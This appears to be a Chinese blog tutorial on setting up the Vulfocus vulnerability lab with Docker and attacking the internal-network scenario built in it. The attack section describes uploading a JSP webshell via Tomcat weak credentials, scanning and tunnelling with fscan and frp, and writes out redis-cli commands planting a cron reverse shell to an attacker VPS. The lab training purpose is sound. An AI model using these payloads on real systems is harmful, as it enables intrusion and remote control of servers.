前言

Vulfocus 是一个漏洞集成平台,将漏洞环境 docker 镜像,放入即可使用,开箱即用,这里我们搭建在云服务器上,需要高一点的配置,搭建可以按需搭建本地和自己的服务器上,我们主要使用场景编排功能进行内网突破训练,多重内网的穿透等。

一、搭建

vulfocus:https://github.com/fofapro/vulfocus

docker部署ctf靶场 docker搭建靶场_容器


在服务器中已经安装docker:直接拉取镜像到本地

docker pull vulfocus/vulfocus:latest

拉取成功

docker部署ctf靶场 docker搭建靶场_web安全_02


启动容器:

将自己的IP替换xx.xx.xx.xx
docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock  -e VUL_IP=xx.xx.xx.xx  vulfocus/vulfocus

访问web界面:

默认用户名密码为admin:

docker部署ctf靶场 docker搭建靶场_容器_03


这里是公网服务器所以改密码:

docker部署ctf靶场 docker搭建靶场_运维_04

二、使用

我们需要下载文件才能进行使用:

docker部署ctf靶场 docker搭建靶场_docker_05


下载需要的镜像文件:

下载完成后在docker images中可以看到

docker部署ctf靶场 docker搭建靶场_web安全_06


我们使用这几个镜像编排一个简单场景题:

三、场景靶场编排

先添加网卡作为内网使用:

docker部署ctf靶场 docker搭建靶场_docker_07


这里我添加一个network3的网卡:

docker部署ctf靶场 docker搭建靶场_web安全_08


添加场景:

docker部署ctf靶场 docker搭建靶场_docker部署ctf靶场_09


docker部署ctf靶场 docker搭建靶场_容器_10


这里注意需要拖出来不能点:

docker部署ctf靶场 docker搭建靶场_docker部署ctf靶场_11


docker部署ctf靶场 docker搭建靶场_docker_12


选择我们刚才下载的镜像文件:

docker部署ctf靶场 docker搭建靶场_docker_13


这里我们用tomcat弱密码作为边缘机也就是外网可以访问到的服务器:

docker部署ctf靶场 docker搭建靶场_web安全_14


网卡使用network3:

docker部署ctf靶场 docker搭建靶场_web安全_15


第二台给一个redis的未授权访问漏洞作为内网靶机:注意:这里是否开放这里不选(不选就作为内网)

docker部署ctf靶场 docker搭建靶场_docker部署ctf靶场_16


我们这里将图片截图保存一下:

docker部署ctf靶场 docker搭建靶场_容器_17


docker部署ctf靶场 docker搭建靶场_运维_18


写一个描述:

docker部署ctf靶场 docker搭建靶场_容器_19


发布靶场:

docker部署ctf靶场 docker搭建靶场_docker_20


docker部署ctf靶场 docker搭建靶场_docker部署ctf靶场_21


docker部署ctf靶场 docker搭建靶场_容器_22


这里是公网的地址码一下:

docker部署ctf靶场 docker搭建靶场_运维_23


访问靶场:

docker部署ctf靶场 docker搭建靶场_web安全_24


这里我们的搭建过程就好了,就可以叫上小伙伴一起打靶场了。

四、靶场实战

这里是tomcat弱密码直接上传jsp马:

注意jsp马需要压缩为zip后将后缀改为war包才能上传

docker部署ctf靶场 docker搭建靶场_docker部署ctf靶场_25


访问一下马:

docker部署ctf靶场 docker搭建靶场_docker部署ctf靶场_26


直接用冰蝎连接:

用的默认密码:

docker部署ctf靶场 docker搭建靶场_web安全_27


拿到第一个flag:

docker部署ctf靶场 docker搭建靶场_docker部署ctf靶场_28


看一下权限:

docker部署ctf靶场 docker搭建靶场_docker部署ctf靶场_29


然后在找其他flag:

查一下内网ip

docker部署ctf靶场 docker搭建靶场_运维_30


上传一个fscan作信息搜集:

docker部署ctf靶场 docker搭建靶场_容器_31


扫描一下内网:

docker部署ctf靶场 docker搭建靶场_docker_32


扫描完成后会生成一个文件

docker部署ctf靶场 docker搭建靶场_容器_33


可以看到另外两台内网:

docker部署ctf靶场 docker搭建靶场_docker_34


我们简单用冰蝎做个内穿(不稳定):

docker部署ctf靶场 docker搭建靶场_web安全_35

docker部署ctf靶场 docker搭建靶场_docker部署ctf靶场_36


开个kali使用redis的cli连接测试:

注意我本机地址为10.102.114.135也就是上面映射Windows11的地址,因为kali是虚拟机所以这里需要修改为本机ip

docker部署ctf靶场 docker搭建靶场_docker_37


这里我们使用任务计划反弹shell,准备一台vps(公网IP):

监听端口:

docker部署ctf靶场 docker搭建靶场_docker部署ctf靶场_38


使用redis-cli写入任务计划:

redis-cli -h 10.102.114.135
这里替换vpsip和端口
set x "\n* * * * * bash -i >& /dev/tcp/vpsip/1212 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

发现无法写入进入容器查看:

docker部署ctf靶场 docker搭建靶场_运维_39


发现没有装任务计划程序:

第二种方式写入webshell,发现也灭有装web服务我先装一个任务计划,不然没法实现:

docker部署ctf靶场 docker搭建靶场_容器_40


apt-get源无法使用,这下这两种方式就不行了,换源后出现新问题放弃使用这种方式:

这里放弃这种代理方式使用frp搭建隧道实现本机可以访问redis:

使用云主机搭建frp server

docker部署ctf靶场 docker搭建靶场_运维_41

启动
.\frps -c frps.ini

利用冰蝎上传frpc

docker部署ctf靶场 docker搭建靶场_web安全_42


写配置:

docker部署ctf靶场 docker搭建靶场_web安全_43


本地使用代理访问:

这里是公网ip

docker部署ctf靶场 docker搭建靶场_docker部署ctf靶场_44


访问一下内网服务:使用内网ip访问

成功打通第一层隧道

docker部署ctf靶场 docker搭建靶场_容器_45


docker部署ctf靶场 docker搭建靶场_web安全_46

接下来就可以使用poc去测试了。

五、总结

构建的场景中的主要选一下比较新的漏洞,不然会出现横向移动很麻烦,还有一些漏洞需要回显,可能就会出现一些问题导致无法无法成功,建议场景搭建好后测试一下可行性,因为是docker可能会有一些命令无法使用,这也会造成一些困难。